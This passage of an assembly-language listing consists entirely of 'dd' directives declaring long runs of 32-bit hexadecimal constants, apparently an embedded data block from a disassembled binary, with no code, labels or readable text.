		dd 0C94F2F56h, 0E9FBE80Ch, 41F44B98h, 0E10D84B7h, 0F5F7F5EDh
		dd 0BA167FC3h, 0F9A913AEh, 0C20E18D3h, 83E331h,	552CBC1Eh
		dd 0D23946BDh, 0B3E92E0Ch
		dd 0BDEA23AAh, 0F20141A3h, 0C9F0B2EAh, 23DD9B7h, 52A109AAh
		dd 0D04AF059h, 5A273628h, 498EDE1Ah, 0DAFFF481h, 907C7073h
		dd 0ABBB840h, 4EF02BC9h, 269C3AB2h, 4F21139Ch, 6F82F36Ch
		dd 5ED430EDh, 40EADE2Dh, 46F29950h, 89D640B5h, 215A2CD6h
		dd 0A87565B8h, 0E0854805h, 9705D829h, 6813E852h, 35FF5F84h
		dd 653A8C4Bh, 0A79C7B9Dh, 0E4699279h, 0D190BFB8h, 2D805F2Ch
		dd 9A4E1346h, 0AB1B0840h, 90D83109h, 5AA16809h,	0B71BF956h
		dd 22904968h, 10BC8855h, 5DFCD62h, 2BC6C056h, 7C4B9122h
		dd 4F1D042Ch, 1AE8F4A7h, 0F7FC6373h, 5045D52Fh,	1E9FB079h
		dd 0F09CD9EFh, 2B38B986h, 29492Ch, 30085139h, 79BDBE12h
		dd 0E93A48B9h, 0C404E529h, 9D6807E8h, 80E1462Bh, 2B92D15h
		dd 14EF831h, 78505D0h, 0D065AA5Ah, 6D104FECh, 5BD84886h
		dd 62DEDB2h, 7FF6FAA0h,	1B7BF044h, 0E6B53125h, 62809797h
		dd 3735BA52h, 0F4490425h, 0D6427C6h, 0ECC5312Fh, 50F50494h
		dd 0BF9F6F88h, 0CDD99B81h, 0D2FB722Eh, 8B88FA5Ch, 0B98812A6h
		dd 0D3169C7Ch, 80E01CF8h, 659F17EBh, 5B0FA03Ah,	13B3F91Fh
		dd 0B2F81B77h, 6D81EA4h, 0C4E4B17h, 5144330Bh, 9FB4A45h
		dd 53DC508h, 0D8177068h, 49094E0Dh, 0DC5805EFh,	1E6700EEh
		dd 0E8C17F7Ch, 168D074Ch, 39FF02AEh, 0C41E969Ah, 0A4A85E56h
		dd 0C3CAAEA4h, 7C8364Fh, 0BDC15ED2h, 69AC6850h,	6CD42D8Eh
		dd 665C4931h, 211A4569h, 4F5F2E5Eh, 672408D2h, 315D5E8Dh
		dd 0D816C02Eh, 0E2ED30Ah, 4701844Bh, 2152837Fh,	0C397006Ah
		dd 0FD7CF5BDh, 0E9DD0109h, 99B3D8A6h, 0E034C2DAh, 43822C05h
		dd 3AD5F668h, 6210C07Eh, 0E91EB252h, 38076735h,	8A7A62AFh
		dd 0FF5C9BA5h, 95E64435h, 0D2096A12h, 0E93F12Fh, 4EFCBC09h
		dd 38D002B3h, 9DB1E4DAh, 45F4A9D8h, 0F5F9FB69h,	774B2E01h
		dd 0BF35C479h, 3FA30E0Ah, 138B957h, 0E953FD41h,	0A26D7287h
		dd 0A55C7C09h, 189FF8Fh, 2B79F598h, 63434825h, 0A062F256h
		dd 874C88C7h, 20FF9001h, 58125CA5h, 0F8B4895Bh,	6CFBFA50h
		dd 6815F598h, 883F7F26h, 748451D9h, 49595277h, 63905F07h
		dd 1D54EC68h, 9D5AD3F8h, 85A22BE8h, 5CFB0777h, 0A7CA7919h
		dd 6CD24CFAh, 9B5754ABh, 4C63AD4Ah, 4DC02059h, 65274129h
		dd 0DE7F7072h, 0C4AFEE27h, 0F8AF8372h, 9063B63Dh, 48060F9Ah
		dd 0C4861B2Dh, 361DC26Fh, 52A49B1Eh, 96613B02h,	3666035h
		dd 48F21A73h, 0D4406609h, 0B92F5C0Ah, 0B09BD874h, 0EF82A153h
		dd 37E1E0FAh, 395981ADh, 15801877h, 2668D899h, 0C0B77974h
		dd 1D436FE7h, 74D96FAh,	51328302h, 0C6E99999h, 0F808122Fh
		dd 0F2810316h, 2616AE5Ah, 50C8D554h, 0F19F5EF5h, 50FC492Dh
		dd 0C86A0C59h, 0F31435AFh, 9E98F79h, 0F1E3ADE9h, 0E9476CA0h
		dd 830E4B5Ah, 623CD80h,	0CF942B41h, 60529704h, 0BDCE4B1Dh
		dd 0C52608FEh, 3327E30Ch, 0C5DDCA99h, 6C89A752h, 742F7F7Eh
		dd 9F493B27h, 5B483575h, 0BF0BFF65h, 4A060002h,	90373D49h
		dd 0C0CB2561h, 0B5C23193h, 0EE0445DAh, 682809E7h, 0C44333C0h
		dd 18674925h, 0D3FE1C19h, 0EB069FC3h, 5BDD2886h, 0BF7B407Eh
		dd 9B17D80Bh, 7D905F07h, 3C176B50h, 4F0473Ah, 4B350B0Fh
		dd 7E97E9h, 7A13FA97h, 5A5F0BB4h, 0C452FD52h, 0F2ECDC5Bh
		dd 0BD841793h, 7EDD603h, 52E8E916h, 1D79EBA9h, 752A8C3Eh
		dd 9F42B040h, 50EA08E8h, 0CD8F9F17h, 0CF01D453h, 5D331AABh
		dd 8C83FF41h, 0BB85BE04h, 16AE8BFAh, 0E167EA54h, 3CB0729Fh
		dd 0B060BA5Dh, 0B88340AFh, 5F7F8C09h, 0D180574Bh, 1D046405h
		dd 0FE91F13h, 93580CC2h, 4BBBE27Bh, 0E196CA79h,	30019B2Eh
		dd 5C40F8C3h, 25719495h, 6AECF0EBh, 0D31A015Dh,	56577861h
		dd 5F4A7280h, 68E90C08h, 163AC9B6h, 4FE3147Ah, 26ED3E10h
		dd 788553Bh, 0F2C125Ah,	0F924AD31h, 0F3DAFF09h,	625C7965h
		dd 0F154020Dh, 20955235h, 5873E0Fh, 33EE6CCAh, 734F1145h
		dd 0BC2BF480h, 0ECCABD76h, 7F1C080Dh, 555798D0h, 78210468h
		dd 805D59B6h, 54630791h, 0ED010C76h, 479B0FDCh,	697C71E9h
		dd 0F7226B87h, 0B015B498h, 0E416BF2Eh, 0B5F8B72Eh, 734C8204h
		dd 0CCF9A101h, 182CEF1Fh, 12004093h, 29499F46h,	9CCA2F9h
		dd 0BA76508h, 0ACFCC821h, 0C531080Eh, 62BF2F68h, 9D4A6BC5h
		dd 58FCF5Dh, 90C5C8E9h,	685EF100h, 37E12B4Fh, 0A23B6C25h
		dd 861DD310h, 0BD2D4A60h, 0E78B5AFFh, 4BF1AB10h, 837DF4C0h
		dd 9929027h, 3AF5B092h,	0B8876884h, 0F755C411h,	0F848590Bh
		dd 8A1B5662h, 0E211011Bh, 850C9244h, 46BFB9B5h,	1E4C2954h
		dd 7420A390h, 0B0507FBh, 0A4DA6F99h, 0AB6AD542h, 470302Ch
		dd 5B7A5263h, 0F096C131h, 0E3C10162h, 9C31760h,	821D2184h
		dd 0B97C7589h, 0D8E9A252h, 26A309B7h, 0EE840B0Eh, 909234C4h
		dd 27935C88h, 431C130h,	83587C88h, 7483BFD0h, 5725BBFCh
		dd 40217611h, 0CB80DBF6h, 34158E58h, 1CFAA581h,	0BE97C41Dh
		dd 5214BAF4h, 2777B61Bh, 0EC5E0AE9h, 4ECDEF83h,	0DF01D962h
		dd 813A644h, 54D99809h,	0BEFA6FA9h, 2ECA9677h, 0C23B7899h
		dd 5207B85Dh, 596D58E6h, 70120309h, 0DE9BE95Fh,	76D2A7CBh
		dd 68DBE936h, 7875021Ah, 398762C7h, 49F9B777h, 5180A789h
		dd 428B2CE7h, 980A57D1h, 74721810h, 29C77EF8h, 13A276AEh
		dd 89670106h, 7A40472Fh, 0FDDC18E1h, 0F572FE9h,	43905AE8h
		dd 0F73DCD09h, 4BF901D2h, 0E03F873Eh, 2318AF18h, 0EA1D478Eh
		dd 0BC5A1328h, 138DF81Ah, 0BB206FE9h, 0FC286C5h, 0EA214A30h
		dd 0ADBB16BCh, 0E65D1020h, 33071279h, 0B186E02Eh, 77267304h
		dd 91AE6C68h, 92A1E7D4h, 22FBC751h, 3BEA3894h, 0A565457Fh
		dd 58B944E8h, 51211A25h, 38BF83D7h, 3193E872h, 0C2A9F616h
		dd 92F3BF24h, 0FCED125Fh, 562DB2D3h, 296804B0h,	0D8B08D5Dh
		dd 0F4925B55h, 735BE4FCh, 0E9C2E2EDh, 0EC75E8E2h, 0B8F2882Bh
		dd 5DF6F9C3h, 0E92F491Eh, 0DC438BD2h, 0E95758B7h, 0BE1A224h
		dd 0BB0F6661h, 0C311B922h, 1DF04856h, 2946451Dh, 0E8125DEAh
		dd 1ADD7EEEh, 81B892Dh,	3E28277h, 0BBEF97Bh, 907F130Dh
		dd 73685D60h, 9DB7A69Fh, 0C07E4FB2h, 0B7972F58h, 0F601BFA1h
		dd 0FB5AE8D3h, 70B85080h, 3E7700E4h, 8B69EC0Dh,	0D048F77Fh
		dd 0E80802D8h, 7401BE48h, 0C129C002h, 961EE9h, 59E75617h
		dd 4D05FF91h, 802E6F27h, 0D264C4Ch, 1C8893E7h, 223039BFh
		dd 0E6C1C031h, 0B717E908h, 70B95A00h, 6202D719h, 3159CD89h
		dd 6A8361EEh, 0A5514502h, 1EBA8049h, 0B3EBB7Eh,	0D4BFE95Dh
		dd 922082E6h, 3CED9C73h, 5FEE8B17h, 0C525927Eh,	6929EB57h
		dd 4BA93890h, 964F17E0h, 0ADBD2CADh, 66B0A116h,	822F2B9Eh
		dd 0C8C1BE80h, 173F4EE7h, 0BE090E91h, 61FC3340h, 27E916A2h
		dd 60D1D9CDh, 0AFCEF1A5h, 0BBA44B7Eh, 0E72C3C0Eh, 55620170h
		dd 530885BDh, 6E73F700h, 5BB4690h, 5C9B3AA6h, 0CADAC131h
		dd 41FF058Bh, 1220BD4Ah, 0B7944203h, 984A494Ah,	241B4FDFh
		dd 76A12563h, 3B8830E9h, 4606EA92h, 0BB26B95Bh,	2A85D258h
		dd 0E7F5440Ah, 8B9BD508h, 0EE90932h, 5A925DC6h,	0B900AB78h
		dd 73C248DDh, 2659CE29h, 28E72158h, 68070955h, 90463E23h
		dd 6082B3E4h, 507D2EA7h, 7EED53Bh, 745D179Eh, 9DE67046h
		dd 330A607Ch, 82D7A0E9h, 6A53C78Eh, 8D504DFBh, 6B9CBDF3h
		dd 0D8D7665Eh, 9EEF5325h
		dd 7FA84BF3h, 0E6E0139Fh, 0A6AC5E2Ah, 4E599D3Eh, 8DF21985h
		dd 72743E72h, 1DA8B765h, 0B978735h, 0FB6EA457h,	0CD409FB0h
		dd 5E2440D3h, 0B44B544Fh, 10B3513Bh, 26553BEFh,	509F0705h
		dd 2AA06E0Ah, 9F1BC4CCh, 4694571h, 420097CFh, 5CEABF57h
		dd 531F411Fh, 0D8838657h, 2564255Bh, 0F1B50258h, 585C58FDh
		dd 2177292Dh, 0C449E907h, 0BDBE717Ah, 0C18000FCh, 0C828279Ah
		dd 94A588F6h, 27F7907Ah, 4C441768h, 0D7BB5302h,	0C139AA1Dh
		dd 0B200D68Dh, 0D079283Bh, 84DC8C29h, 0BB08C000h, 0F1EA011Dh
		dd 5D0886CAh, 8957BE1Eh, 4AAB98E9h, 28C124E0h, 406EF1A1h
		dd 0A46A9D8Dh, 30E62D5Ch, 1AF65BCFh, 6BC03D4Dh,	0E44FA8BEh
		dd 93B7084Eh, 1597E92Fh, 2B41C351h, 573CC423h, 977FB480h
		dd 18E0E960h, 7A0927DDh, 3EF7B82h, 0BB1F110Dh, 417435F9h
		dd 2A573685h, 9C080206h, 42C50491h, 0C0607427h,	323FF05Fh
		dd 0C921CEB8h, 0ADB9409Bh, 27128031h, 0FC8773E9h, 82741FE7h
		dd 0A0BDB7D0h, 2CD62C33h, 642402A1h, 6DD445CCh,	6271C500h
		dd 5EE99836h, 87E80A3Dh, 0DAC201AFh, 0F459343Ch, 9BC0E8BBh
		dd 0B204F9E6h, 484985Ch, 556B2F92h, 0D08F8048h,	0F7F8B123h
		dd 4BCDA5Ch, 60E506C1h,	0F4D73E07h, 212FAB8h, 0FAF213BEh
		dd 0E206E25Bh, 4B165D47h, 72906812h, 0F6237936h, 0BEF2955Ch
		dd 68AD10D7h, 0A3C7BEA4h, 9051DECh, 7D177B5h, 781ED58h
		dd 0CB993A5Bh, 7E1BC82Eh, 0ACE22AE5h, 30527D10h, 4CB4FE51h
		dd 5730289h, 23955A5Bh,	282DFAC0h, 567A491Bh, 157FF00Eh
		dd 46E7C1Dh, 36A1FBE6h,	28D0AA89h, 60091074h, 0A784E48h
		dd 0D0024E3h, 1B6B3017h, 0C0A8E7E9h, 69793570h,	16F49DBh
		dd 0F9EBAB3Ch, 6C470355h, 43D95476h, 0EA313FAFh, 8C7F91A6h
		dd 154968D3h, 224B7E4Fh, 0F01A00Bh, 0F67FA993h,	0A80C9733h
		dd 219DE0F1h, 227898E1h, 0E7096382h, 829964ECh,	3B3FCEFh
		dd 89BFC821h, 0F72DA7A0h, 311CEB2Fh, 36CFC105h,	0CAA7E55Eh
		dd 38839595h, 0E33B5F98h, 869D109Fh, 51C22A7Fh,	0F668140Fh
		dd 0BCDFFE46h, 9209E19Dh, 0B8A2091Ch, 4295464Eh, 2D94FDCEh
		dd 9CC13802h, 0F58218E9h, 0F990C7E4h, 0D9D1CC12h, 0ABF913BEh
		dd 8BB64544h, 0F5F3E113h, 0C6068008h, 0E917B353h, 47A25D29h
		dd 0CAFA9576h, 0D99A0290h, 5341C390h, 96FDB22Bh, 0BD7613BFh
		dd 67FFE42Dh, 0E67109ABh, 17A45B92h, 747A95EBh,	0BF67E915h
		dd 68B84AF0h, 767AF510h, 0E1F68990h, 0CE90B174h, 7F784B09h
		dd 5A42557Dh, 895B0801h, 2FA467D6h, 7249FE05h, 0A272C1F7h
		dd 0A733F23h, 356368E1h, 82019680h, 0AA7C581Fh,	4FC2173Fh
		dd 86F938AFh, 0D2A7F741h, 91809F52h, 7C69BEE3h,	0EBFB68C4h
		dd 0B0ADE8FCh, 138D5B74h, 0E5B6EC1Ah, 0BC282BAh, 0F92503DEh
		dd 4C95BD87h, 0BD0EEE80h, 7937D78h, 964060BCh, 53FAAE89h
		dd 0F8E05EB0h, 0BCA82BD3h, 81C0C912h, 4D0B5A9h,	16B89881h
		dd 0D5295A8Bh, 0F79E4771h, 3AE45A30h, 0F1B34E56h, 0D56AC8Bh
		dd 6C5259A7h, 9225E9BFh, 4192925Dh, 0B37EA0F6h,	0CB611226h
		dd 2986CEADh, 7620E15Fh, 270190D8h, 0DCDC068Dh,	0DE0C895Ah
		dd 0F72943BFh, 0F68BA2BEh, 7AC9BFE9h, 15A2188h,	4DBD5542h
		dd 2C980E56h, 0D9212CC9h, 3C67D908h, 95757064h,	5ACF8ED7h
		dd 0AEDD79B2h, 64D57248h, 15E5602Dh, 0C91812BAh, 3125257Ah
		dd 512E76A2h, 1D2C7FD3h, 52402E68h, 2636C2A2h, 6DF9C075h
		dd 72492442h, 0A1510898h, 20B3BD00h, 0C0095D90h, 1BE281E4h
		dd 6589E4Ch, 6EEE0373h,	0F2527695h, 0E9F1815Ah,	0C650C654h
		dd 0CE26712Dh, 522A1F08h, 0CBF9E948h, 48CE56C9h, 0BE660394h
		dd 0BAA017CFh, 0E9164A8Fh, 51E48D21h, 0BB884086h, 4C3FA009h
		dd 0F78F202Ah, 8143D3h,	784E22CBh, 0B166832h, 28826697h
		dd 0E3A106D0h, 9D6A92F5h, 0DB893EEEh, 0F2E9D6E1h, 90E5F283h
		dd 1AF9BE88h, 0DF87A95Dh, 0EC0270A8h, 1693C75h,	432E2F5h
		dd 0CCAB5E08h, 7241D141h, 7B55B13Ah, 2C3B92A5h,	665FC3C1h
		dd 48BC95A0h, 0F6C7834Eh, 2906B9D0h, 0DC60632h,	9027A9E9h
		dd 6FF60F10h, 6364CFF4h, 0CC1D13CEh, 0D844E1D2h, 85FBDA29h
		dd 0F7CAFEF8h, 24D9DB14h, 321CF807h, 54CEB574h,	30108BBEh
		dd 2BA12BBh, 0F8CE14C8h, 0A7074C0Ah, 29C31A6Eh,	409E2D1h
		dd 72DB1EE9h, 4A4078E2h, 5EDD09B0h, 0E268F6BAh,	0F997BDD6h
		dd 9270A98Ah, 8927E9F8h, 4B06D653h, 0E0BB1F4h, 58875DE1h
		dd 0C3EAF517h, 0C9C0D1FBh, 0DC1F541Fh, 8DE84113h, 79B34F1Fh
		dd 8AA5F141h, 1F7E3BD7h, 8DC3C1A8h, 9E2A4701h, 0E38B7E0Ch
		dd 0CB20842Eh, 0CDFE5A00h, 3E39E580h, 0A482CBC0h, 87BE00EBh
		dd 273DB36Bh, 603EA54Eh, 1893BF8Dh, 0B2651E3Ch,	2B035233h
		dd 9BF38175h, 0FF648A04h, 68133F64h, 62057632h,	8434A53Ch
		dd 0C01D99C4h, 0E05BDF10h, 0F240FEE2h, 0D09D00B0h, 44B753E0h
		dd 0A94BEF80h, 0B028D7E0h, 96CCF3EAh, 0C78DB008h, 2F04441Eh
		dd 612CF8C7h, 6A52665Bh, 1C8E1F2Ch, 85CF8853h, 0A028E9FAh
		dd 39BC5A2Bh, 238B6804h, 2A312DBFh, 552598BDh, 1D60F5F9h
		dd 0B7773D0Bh, 576C5D40h, 0DE354100h, 0E9130475h, 25D5BCC7h
		dd 351E5DEh, 0BB01B555h, 0F907E68Ah, 0D2679970h, 7E8DD96Fh
		dd 0E4B8C920h, 314F003Eh, 7A25E8D1h, 435C281Dh,	48081D82h
		dd 2D02833Dh, 0CD075C7Bh, 0AA9235FAh, 0F2F82891h, 6875387Fh
		dd 0A3429731h, 2D0057FEh, 0CB98F8A4h, 0CE4BEEF4h, 80C9CBFCh
		dd 8FACA657h, 4CC93034h, 764DF25Bh, 0EAFF4097h,	0A92E02CEh
		dd 7B45E97Ch, 549431D7h, 0B89AC67Fh, 7F98797Ch,	3C0B7E90h
		dd 8342964Bh, 0EA07381Fh, 0DBB4804Fh, 3D1F8E22h, 3F8550Dh
		dd 2C162D75h, 99D06DB6h, 0C07062Eh, 0F031D8F7h,	0BD08C626h
		dd 0E02D0158h, 0AE2313C8h, 3169B082h, 0FF71A8Ch, 95276A7Eh
		dd 3C1D7489h, 0ACDDF8CBh, 61BB0B05h, 8F54A8Eh, 6809070Dh
		dd 94B1D71Ch, 0EADCEDDEh, 2141E6D5h, 19BC0B1Ch,	6A952B5Fh
		dd 0A67CB7AFh, 787FF153h, 0BB699C3Fh, 0AE68743Eh, 0C32D9C1Eh
		dd 4BFBA933h, 66EDCB81h, 2F5D5558h, 59015409h, 4106680Fh
		dd 96E6F7E9h, 56BEC33Fh, 55032C95h, 1E58F8B4h, 1881BBD0h
		dd 8DB38BB6h, 66D82827h, 0E7F0F079h, 2D01EEF2h,	74C259E9h
		dd 6CE0E455h, 0EE2A4793h, 376EFA0Eh, 98C6C078h,	0B715B136h
		dd 8834272h, 5A141C40h,	2DF44D95h, 0E42CA253h, 0D8A842h
		dd 0F65CCD80h, 0ED76D575h, 7E67C5F0h, 0EB051806h, 68C575C5h
		dd 0FDF1660Bh, 5034E696h, 0DAEBDBCh, 0F3F8EF99h, 9E16EFBCh
		dd 7C0722CBh, 0E31F9428h, 0D4D7AEFh, 0CE502C26h, 71540263h
		dd 5FF9EE5Bh, 0E928C971h, 0A5D9EB21h, 31282561h, 81D82F15h
		dd 0BFB84044h, 954C560Fh, 48EAB272h, 6B2406DEh,	79A75C2Ch
		dd 4100C90Fh, 0C3D7E90Bh, 0C6304D93h, 2A0F5568h, 0F897778h
		dd 8887F0ADh, 27CC06F3h, 0D1349998h, 72C0065Ah,	75095EF8h
		dd 91424968h, 8324834Ah, 6E147D4h, 7E8CCDF2h, 7F5A6B31h
		dd 5E9398BBh, 6C92CEAh,	5BDE640h, 14860709h, 4404FA29h
		dd 0EFF4CD3Dh, 0F6F816B4h, 75950C3Bh, 594ACEADh, 8DF6B8A8h
		dd 68555905h, 0FF496B26h, 0D949C206h, 0E93DEC24h, 7C807525h
		dd 0B6FB636Ah, 5E581025h, 2B0B7BB7h, 59760F68h,	3FF985Ah
		dd 0CF4A0DE9h, 56E4D997h, 0B8E41C2h, 0E5AE6B76h, 0CB4EF9D2h
		dd 0FEB128E8h, 373F6C95h
		dd 62B1D5FBh, 71D65D97h, 77A340C2h, 0EBCA009Bh,	509DCCF8h
		dd 419F0EEFh, 0F6C0064Ch, 528AF9ECh, 0E9F30106h, 76287464h
		dd 0B45A5Bh, 763405BEh,	0A4F45191h, 200E03B7h, 237C10E5h
		dd 319D50FEh, 0AEF46012h, 0CB5F390Fh, 0AB58E2B7h, 0F2FD0071h
		dd 58D96EA2h, 1448B251h, 6132027Dh, 55E9648Fh, 0D840D149h
		dd 3991984Bh, 0D0E3DCA7h, 624E9DE9h, 27353DD0h,	0AA88E9BCh
		dd 0FB2FBF6Ch, 0FD143E53h, 2C8B979Ah, 31B3B8DFh, 0B70F1DC3h
		dd 956884C0h, 107DA251h, 2D2556A9h, 89ADD274h, 25B65401h
		dd 20341657h, 0FCDDEDB7h, 0F0A56FDDh, 0F872BD8Ch, 8D6020F4h
		dd 3DAAC123h, 0C06762D1h, 5CD15EA3h, 2DAE8588h,	0E3027972h
		dd 6897B151h, 8EFE79C6h, 0C70560B0h, 0E85CEF58h, 6BE9DAC2h
		dd 33A9A0C1h, 9B59D768h, 4E3F0781h, 7C015285h, 5C7EBA7Fh
		dd 68765894h, 0EE525E80h, 0D7E25BAFh, 48A8C219h, 0B22052CCh
		dd 0C90B27E7h, 0EF10BC5Ch, 12FA041h, 7BE954B8h,	60757BEDh
		dd 17A653BBh, 0AFE185C6h, 57161B01h, 0F875C85h,	0BBF063A9h
		dd 0A4000462h, 38560FF4h, 78405890h, 5EF57789h,	0FF9C16A7h
		dd 1357A87Ch, 0C89B16E9h, 6804519Dh, 44A76439h,	0EA5800FFh
		dd 89EFEC1Dh, 62D9CA4Ah, 0EC9AD42Ah, 1ED61DB0h,	0F0B37397h
		dd 1A210A41h, 5EEFA33Bh, 775FC822h, 23669F09h, 0F3778997h
		dd 0BA4B2CA2h, 23C5A4Dh, 5CCD5BBDh, 2E30907Fh, 5063BB72h
		dd 0E2728852h, 0C5AD733h, 0C3BAC4FAh, 0E2975826h, 3E1592Ah
		dd 0E3280150h, 927C31DDh, 0B98FBE03h, 0D5D2AED0h, 73B7B878h
		dd 82B81650h, 66555908h, 8709258Eh, 69B116E8h, 6D2A5881h
		dd 72412026h, 651A8293h, 13E0D539h, 152C8613h, 0A41358BCh
		dd 0F57C69AFh, 4126A77h, 0EAB324BFh, 8D0C7599h,	938F2DE9h
		dd 3624D151h, 7A7C68C1h, 8B20A67Fh, 50EB7C5Ch, 0E9BF28E9h
		dd 842BEBF4h, 656F8282h, 0A2C2940Dh, 60088B7Ah,	80B2D3ABh
		dd 455B6E68h, 625F1BE6h, 1DD477A8h, 2D48D42Dh, 0B40947D4h
		dd 0E91CDC46h, 0A5BB91F7h, 4B21FA2h, 363EED05h,	5ACA16Fh
		dd 0A9578207h, 63E4148Eh, 344FB374h, 0E7047956h, 0D6CA99FEh
		dd 1A50CC4Ch, 0C76695B4h, 62AC7197h, 0C8F1E358h, 756EA6BCh
		dd 1E5EA5h, 0D1082F5Fh,	0BD0F55EBh, 5FC02420h, 47CCF581h
		dd 0A42A6A94h, 725CB66Bh, 3B0B6F1h, 5E3D1CB9h, 0E1F84114h
		dd 3B3038B7h, 35910C39h, 0EA0D485Ah, 5CF5757Fh,	0C9334DBBh
		dd 0EAEAF2FFh, 5EEAA7F7h, 5925C4EAh, 130C91BFh,	0DE39399h
		dd 4ECCCB10h, 0B284BB85h, 0B951A940h, 4F7D6458h, 8C3E4018h
		dd 491F0121h, 305AE9E2h, 8C7E81B1h, 24E575Ah, 29E94098h
		dd 4FBDF60Eh, 889F5764h, 23B27CB5h, 0C9E7799Dh,	7EAC7E00h
		dd 1255D2Bh, 1C59D0F5h,	9DDB781Ah, 69A0D4E9h, 12D78784h
		dd 0EDEC16EBh, 597C81FAh, 0EF20119Ch, 0E938BED0h, 0CA685FC0h
		dd 38637855h, 0D7F718EEh, 6060E90Bh, 8EBAFBC0h,	664F47B4h
		dd 8101A1B2h, 0EF31A8E6h, 0AA002E27h, 0E96A2212h, 0B68955B9h
		dd 4FA002F9h, 49FD39Fh,	10AA0EA8h, 0F64520E0h, 5D593955h
		dd 80D6E7F5h, 68CD87C6h, 5D24B7A1h, 3A14A120h, 8B5FA6CAh
		dd 47E90924h, 6BD471E8h, 68612779h, 0E36E5535h,	4AE90C02h
		dd 0CB83E85h, 5EFA3FC0h, 0DBBDD814h, 59343DF1h,	5EE3FC15h
		dd 538943ACh, 7E523174h, 0A4CC62AFh, 1689BE00h,	297118DAh
		dd 0BDE166F2h, 52A6481h, 0FB47F3ECh, 0E6D15E34h, 8C3F4F27h
		dd 0AF52AA30h, 0C0893F6h, 34BB3CCBh, 1FC2A6A5h,	0B4A44C55h
		dd 4F5692Fh, 0B84073AEh, 44FE5C98h, 12C93501h, 0C53126D8h
		dd 0CAED9F40h, 0FBD92699h, 70681014h, 545AF325h, 6E4AE203h
		dd 2F486C5Fh, 0D35B2E3Ch, 70E85245h, 0F8380996h, 578B1F2h
		dd 7EE48C4Bh, 0AC2D4AC8h, 42F189E2h, 1B30D5B5h,	0A983EC17h
		dd 303A43EEh, 0CD02FEAEh, 460014Ch, 20BA62A1h, 0E92580FAh
		dd 9799EDCFh, 3C10BCA1h, 0B5945F22h, 2EC89A5h, 75038097h
		dd 0B8B37247h, 0EA552FE4h, 0F097C402h, 7B6BF20Bh, 7E9297B2h
		dd 0EF987DC0h, 76454082h, 84D58278h, 82EA5A4Fh,	0E7DEA0ABh
		dd 0A5915D4Bh, 0B0B3FBFAh, 6171FB22h, 0E368AD66h, 87F2791Bh
		dd 8DC05657h, 783F950Ch, 789B05Eh, 710F2F12h, 0FB9030BFh
		dd 2673E9E0h, 9A026082h, 34500033h, 6963E581h, 85A1544Ah
		dd 0E4DCF68Ch, 72A94992h, 0BE3DB5Eh, 0C8DEEBE9h, 2C12C867h
		dd 0ADFDAB0Bh, 2F5E1D56h, 1E6714Eh, 0D44CA725h,	74B070FBh
		dd 0C01E01F2h, 0E70303E8h, 0BDF8DE9h, 88FCEAB5h, 0BA04CA04h
		dd 7E49A809h, 35E8A5B7h, 5DC056F2h, 0AF713ECEh,	2629072h
		dd 7888365Fh, 0C950F729h, 2BC1DBE8h, 1D9596C2h,	0FDE5CA41h
		dd 68575100h, 5D53980Bh, 0C01EF62Bh, 156380CFh,	17E82760h
		dd 1C1374C5h, 14E9F989h, 8705767Ch, 44226768h, 0F5BBDC83h
		dd 59984119h, 816600A3h, 271558CDh, 0CCA1A52Dh,	7A47D6EEh
		dd 0D0DE13B0h, 8F5808C2h, 716C0C12h, 8C6521DDh,	45B43969h
		dd 425103E3h, 0D3F73E02h, 0F305F07Ah, 0A4996DAAh, 0C1B9DA82h
		dd 0F53F610Dh, 0A40807D2h, 7E35E1E6h, 13C414F3h, 8CBC1642h
		dd 56CA010Bh, 0DD68D01h, 428F3075h, 146E7641h, 0F11323FEh
		dd 29E8C2F3h, 62638257h, 0B95C05BEh, 426F25F7h,	0C0B77A0h
		dd 509F4254h, 0B28B6749h, 0B7C77FF2h, 9A9CE985h, 68093CA2h
		dd 187D01DFh, 0B54F936Bh, 83822C1Eh, 0DFA4CAFDh, 7278A402h
		dd 0BD78667Fh, 5858D9DAh, 77BD028Fh, 0E028FA27h, 0F629E215h
		dd 0EDC12443h, 3E50D52h, 0BA672007h, 930250Eh, 0D4A157E9h
		dd 2F76726Fh, 0DE889AA3h, 585A3090h, 81EF71B7h,	6977BF57h
		dd 1F02860h, 2C0747D2h,	0C430DFF7h, 74E7F602h, 3A8C28B5h
		dd 2F907ABCh, 6F783208h, 610971B7h, 85412DE9h, 3D846876h
		dd 6E83008Dh, 4A0A07DFh, 52CEA58h, 94E9C765h, 32DE2A0h
		dd 74E6592Ch, 6D99AC35h, 589440D0h, 0E9170389h,	61A55DF6h
		dd 87E4A2E6h, 0D84094Eh, 810D0940h, 2D6A76D4h, 40605F3Fh
		dd 21A30735h, 0DF25E9C6h, 728554D0h, 1B718F5h, 0BDEFA1CDh
		dd 1A0CEA05h, 37E422EBh, 0D4ECE056h, 42EC1778h,	20478FB1h
		dd 4F4499A6h, 0BD5C40F6h, 5819410Bh, 0DFB00008h, 2EA493F9h
		dd 0B2CDFD87h, 0F280DD08h, 764807BBh, 2C090790h, 80EA73E7h
		dd 0B37EDC13h, 0EF010A57h, 2408BE56h, 0E95D8E48h, 0ED814368h
		dd 5C847326h, 0CBBFFE44h, 2E832050h, 82D950E9h,	5866E330h
		dd 0EBD740FFh, 0C2DAE034h, 496E93Fh, 94367FDh, 8F53464Ch
		dd 0B040CA28h, 49D29F5Bh, 1237510Fh, 4CD60902h,	2717F669h
		dd 0FBDC55A6h, 0BA004D26h, 0E9767F02h, 8C754E36h, 0AFF4DACFh
		dd 0C36B5D41h, 0EC044D8Fh, 25996F5Bh, 8B6109EEh, 0F1A65079h
		dd 0CB74DEA7h, 96B5ACC6h, 9521A481h, 5D979776h,	73488309h
		dd 0C65F499Fh, 136DF97Eh, 548C310h, 33C56853h, 56819B45h
		dd 0EF7020EEh, 0B32E5542h, 3E42856Fh, 8380AF8h,	411F8C99h
		dd 0FE06A8FEh, 5D5B0304h, 84FE4E6Ah, 4956C0ECh,	384ACF51h
		dd 898A1581h, 0D9405D02h, 663E10E1h, 0FA0D161Eh, 645AA532h
		dd 6DB63171h, 3A03379Dh, 9FDAB428h, 2A97AA94h, 0FC3ECA16h
		dd 57505294h, 59668092h, 0AC3E2C3Eh, 0CB1AC83Bh, 24EE56FFh
		dd 0F1F01A67h, 0A14089DFh, 0F7273905h, 4B1F2660h, 35EB47B5h
		dd 294CC018h, 0F19559CFh, 0E6A7A294h, 0A5BE172Ch, 6F974BCEh
		dd 0B6F1ED6h, 0D3BDA9E2h
		dd 8FE9C17Ch, 84287E66h, 60C64144h, 7B40B1E2h, 25D490ACh
		dd 5B7C5204h, 50B53202h, 0A9FE6130h, 0D160DBA7h, 147CAEBEh
